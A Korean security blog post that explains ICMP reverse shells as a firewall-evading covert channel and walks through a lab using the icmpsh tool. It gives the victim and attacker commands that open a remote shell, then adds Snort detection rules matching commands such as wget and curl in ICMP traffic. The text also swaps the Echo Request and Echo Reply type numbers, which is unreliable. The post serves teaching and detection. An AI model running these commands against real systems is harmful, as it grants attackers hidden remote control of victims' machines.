KOROMOON

착한 사마리아인이 되고 싶습니다.

6/01/2018

ICMP Reverse Shell


( 1 ) ICMP Reverse Shell 설명
< 바인드와 리버스 연결에 대한 방화벽 블록 시나리오 >

인바운드 및 아웃바운드 인터넷 트래픽을 제어하기 위해 내부 네트워크의 대부분 시스템이 방화벽 및 회사 프록시 뒤에 있음.
서버와의 통신이 방화벽 정책으로 인해 양방향 모두 TCP 수신대기 포트가 허용되지 않는 시나리오라면 어떻게 할 것인가?
많은 환경에서 Ping 통신을 주고 받을 수 있으며 ICMP 프로토콜에서 작동함.
그리고 ICMP 프로토콜은 IP 동작 방식이므로 포트 정보가 필요 없음.
따라서 공격자가 쉘을 획득하고 대상 호스트에서 원격으로 명령을 실행하기 위해 ICMP 프로토콜을 이용하여 은밀한 채널로 사용할 수 있음.
더 나아가 요즘은 모의해킹 계약이 확산되면서 제한된 환경에서 보안장비를 바이패스하기 위해 ICMP Reverse Shell 을 이용하기도 함.

참고로 ICMP 프토로콜은 인터넷 제어 메시지 프로토콜(Internet Control Message Protocol)로 호스트 서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 에러를 알려주는 프로토콜임.
ICMP 프로토콜에 대한 자세한 설명은 아래 링크를 참고 바람.
https://blog.naver.com/koromoon/120202331799

ICMP 프토로콜은 주로 네트워크 상의 에러를 체크하기 위해 고안된 프로토콜이지만 ICMP Type 유형 중 0 Type 과 8 Type 을 이용하여 서로 간의 통신이 지속적으로 이루어진다는 점을 착안하여 ICMP Reverse Shell 기법을 만듬.
Type 0 과 Type 8 은 IP 노드와 네트워크 간의 통신이 가능한지를 확인하기 위해 사용되며 Echo Request(0) 을 보내면 Echo Reply(8) 이 응답하는 방식으로 동작함. (ex : ping 프로그램)
여기에 ICMP 프로토콜의 데이터 안에 공격자가 원하는 명령어를 입력하면 피해자의 명령어 결과값을 받도록 설정되어 있음.



( 2 ) ICMP Reverse Shell 실습

현재 상용중인 icmpsh 툴을 가지고 실습하고자 함.
Icmpsh 툴은 간단한 ICMP Reverse Shell 툴로 다른 유사한 오픈 소스 도구에 비해 관리자 권한이 필요하지 않음.
마스터(서버)는 C, Perl, Python 코드를 실행할 수 있는 모든 플랫폼에서 이식 가능하며 슬레이브(클라이언트)는 현재 윈도우 플랫폼에서만 실행할 수 있음.
다운로드 링크 : https://github.com/inquisb/icmpsh

실습환경은 아래와 같음.
피해자 : 192.168.100.134 (Windows 7)
공격자 : 192.168.100.145 (Kali Linux)

먼저 피해자에 다음과 같이 명령어를 입력하여 공격자의 명령어를 기다림.
icmpsh.exe -t [공격자 IP]

다음으로 공격자는 명령어 입력하기 전에 반드시 ICMP 응답을 비활성화해야 함.
그렇지 않으면 피해자로부터 정보는 받지만 피해자는 공격자로부터 명령을 받지 못함.
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py [공격자 IP] [피해자 IP]

whoami 명령어에 대한 패킷 덤프 화면은 다음과 같음.
공격자가 피해자에 명령어를 입력한 후 그에 따른 결과값을 출력됨.
참고로 결과값에 대한 데이터가 크면 나눠서 보냄.



( 3 ) ICMP Reverse Shell 에 대한 Snort 룰

Echo Request(0) 와 Echo Reply(8) 를 이용하여 서로 간의 통신 중 데이터 안에 특정 명령어들을 탐지하는 Snort 룰임.
그 외에 추가하고자 하는 명령어는 입력해서 따로 추가할 것!

alert icmp any any -> any any (msg:"KOROMOON_ICMP_Echo_Request_Command"; itype:8; icode:0; pcre:"/(wget|curl|cat|whoami|uname|ipconfig)/i";)

alert icmp any any -> any any (msg:"KOROMOON_ICMP_Echo_Reply_Command"; itype:0; icode:0; pcre:"/(wget|curl|cat|whoami|uname|ipconfig)/i";)



참고 사이트 : 
https://github.com/inquisb/icmpsh
https://pentestlab.blog/tag/icmpsh/
https://resources.infosecinstitute.com/icmp-reverse-shell/#gref



============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기